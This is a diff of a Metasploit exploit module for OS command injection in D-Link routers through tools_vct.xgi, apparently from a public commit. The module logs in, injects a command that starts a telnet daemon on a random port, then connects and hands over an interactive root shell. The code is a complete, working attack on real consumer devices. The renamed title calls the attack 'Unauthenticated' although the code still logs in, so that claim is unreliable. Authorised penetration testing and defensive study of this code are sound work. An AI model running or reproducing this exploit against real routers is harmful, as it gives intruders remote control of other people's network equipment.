@@ -11,19 +11,15 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Auxiliary ::CommandShell
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
18
- 'Name' => 'D-Link Devices Authenticated Remote Command Execution' ,
17
+ 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution' ,
19
18
'Description' => %q{
20
19
Different D-Link Routers are vulnerable to OS command injection via the web
21
20
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
22
- credentials. This module has been tested with the versions DIR-300 rev A v1.05
23
- and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
24
- service and establish a session over it, the second one runs commands via the CMD
25
- target. There is no wget or tftp client to upload an elf backdoor easily. According
26
- to the vulnerability discoverer, more D-Link devices may affected.
21
+ credentials. According to the vulnerability discoverer, more D-Link devices may
22
+ be affected.
27
23
} ,
28
24
'Author' =>
29
25
[
@@ -40,27 +36,21 @@ def initialize(info = {})
40
36
] ,
41
37
'DisclosureDate' => 'Apr 22 2013' ,
42
38
'Privileged' => true ,
43
- 'Platform' => [ 'linux' , 'unix' ] ,
44
- 'Payload' =>
39
+ 'Platform' => 'unix' ,
40
+ 'Arch' => ARCH_CMD ,
41
+ 'Payload' =>
45
42
{
46
- 'DisableNops' => true ,
43
+ 'Compat' => {
44
+ 'PayloadType' => 'cmd_interact' ,
45
+ 'ConnectionType' => 'find' ,
46
+ } ,
47
47
} ,
48
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' } ,
48
49
'Targets' =>
49
50
[
50
- [ 'CMD' , #all devices
51
- {
52
- 'Arch' => ARCH_CMD ,
53
- 'Platform' => 'unix'
54
- }
55
- ] ,
56
- [ 'Telnet' , #all devices - default target
57
- {
58
- 'Arch' => ARCH_CMD ,
59
- 'Platform' => 'unix'
60
- }
61
- ] ,
51
+ [ 'Automatic' , { } ] ,
62
52
] ,
63
- 'DefaultTarget' => 1
53
+ 'DefaultTarget' => 0
64
54
) )
65
55
66
56
register_options (
@@ -69,6 +59,20 @@ def initialize(info = {})
69
59
OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , 'admin' ] ) ,
70
60
71
61
] , self . class )
62
+
63
+ register_advanced_options (
64
+ [
65
+ OptInt . new ( 'TelnetTimeout' , [ true , 'The number of seconds to wait for a reply from a Telnet command' , 10 ] ) ,
66
+ OptInt . new ( 'TelnetBannerTimeout' , [ true , 'The number of seconds to wait for the initial banner' , 25 ] )
67
+ ] , self . class )
68
+ end
69
+
70
+ def tel_timeout
71
+ ( datastore [ 'TelnetTimeout' ] || 10 ) . to_i
72
+ end
73
+
74
+ def banner_timeout
75
+ ( datastore [ 'TelnetBannerTimeout' ] || 25 ) . to_i
72
76
end
73
77
74
78
def exploit
@@ -81,12 +85,7 @@ def exploit
81
85
end
82
86
83
87
test_login ( user , pass )
84
-
85
- if target . name =~ /CMD/
86
- exploit_cmd
87
- else
88
- exploit_telnet
89
- end
88
+ exploit_telnet
90
89
end
91
90
92
91
def test_login ( user , pass )
@@ -129,61 +128,38 @@ def test_login(user, pass)
129
128
end
130
129
end
131
130
132
- def exploit_cmd
133
- if not ( datastore [ 'CMD' ] )
134
- fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
135
- end
136
- res = request ( payload . encoded )
137
- if ( !res or res . code != 302 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Alpha_webserv/ )
138
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
139
- end
140
-
141
- print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state\n " )
142
- return
143
- end
144
-
145
131
def exploit_telnet
146
132
telnetport = rand ( 65535 )
147
133
148
- vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
134
+ print_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
149
135
150
136
cmd = "telnetd -p #{ telnetport } "
151
137
152
138
#starting the telnetd gives no response
153
139
request ( cmd )
154
140
155
141
begin
142
+ print_status ( "#{ rhost } :#{ rport } - Trying to establish a telnet connection..." )
156
143
sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
157
144
158
- if sock
159
- print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
160
- add_socket ( sock )
145
+ if sock . nil?
146
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
147
+ end
148
+
149
+ print_status ( "#{ rhost } :#{ rport } - Trying to establish a telnet session..." )
150
+ prompt = negotiate_telnet ( sock )
151
+ if prompt . nil?
152
+ sock . close
153
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to establish a telnet session" )
161
154
else
162
- fail_with ( Exploit :: Failure :: Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!! " )
155
+ print_good ( "#{ rhost } :#{ rport } - Telnet session successfully established... " )
163
156
end
164
157
165
- print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } "
166
- auth_info = {
167
- :host => rhost ,
168
- :port => telnetport ,
169
- :sname => 'telnet' ,
170
- :user => "" ,
171
- :pass => "" ,
172
- :source_type => "exploit" ,
173
- :active => true
174
- }
175
- report_auth_info ( auth_info )
176
- merge_me = {
177
- 'USERPASS_FILE' => nil ,
178
- 'USER_FILE' => nil ,
179
- 'PASS_FILE' => nil ,
180
- 'USERNAME' => nil ,
181
- 'PASSWORD' => nil
182
- }
183
- start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
158
+ handler ( sock )
184
159
rescue
185
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!! " )
160
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Could not handle the backdoor service " )
186
161
end
162
+
187
163
return
188
164
end
189
165
@@ -203,7 +179,25 @@ def request(cmd)
203
179
} )
204
180
return res
205
181
rescue ::Rex ::ConnectionError
206
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Could not connect to the webservice" )
182
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ rport } - Could not connect to the webservice" )
207
183
end
208
184
end
185
+
186
+ # Since there isn't user/password negotiation, just wait until the prompt is there
187
+ def negotiate_telnet ( sock )
188
+ begin
189
+ Timeout . timeout ( banner_timeout ) do
190
+ while ( true )
191
+ data = sock . get_once ( -1 , tel_timeout )
192
+ return nil if not data or data . length == 0
193
+ if data =~ /\x23 \x20 $/
194
+ return true
195
+ end
196
+ end
197
+ end
198
+ rescue ::Timeout ::Error
199
+ return nil
200
+ end
201
+ end
202
+
209
203
end
0 commit comments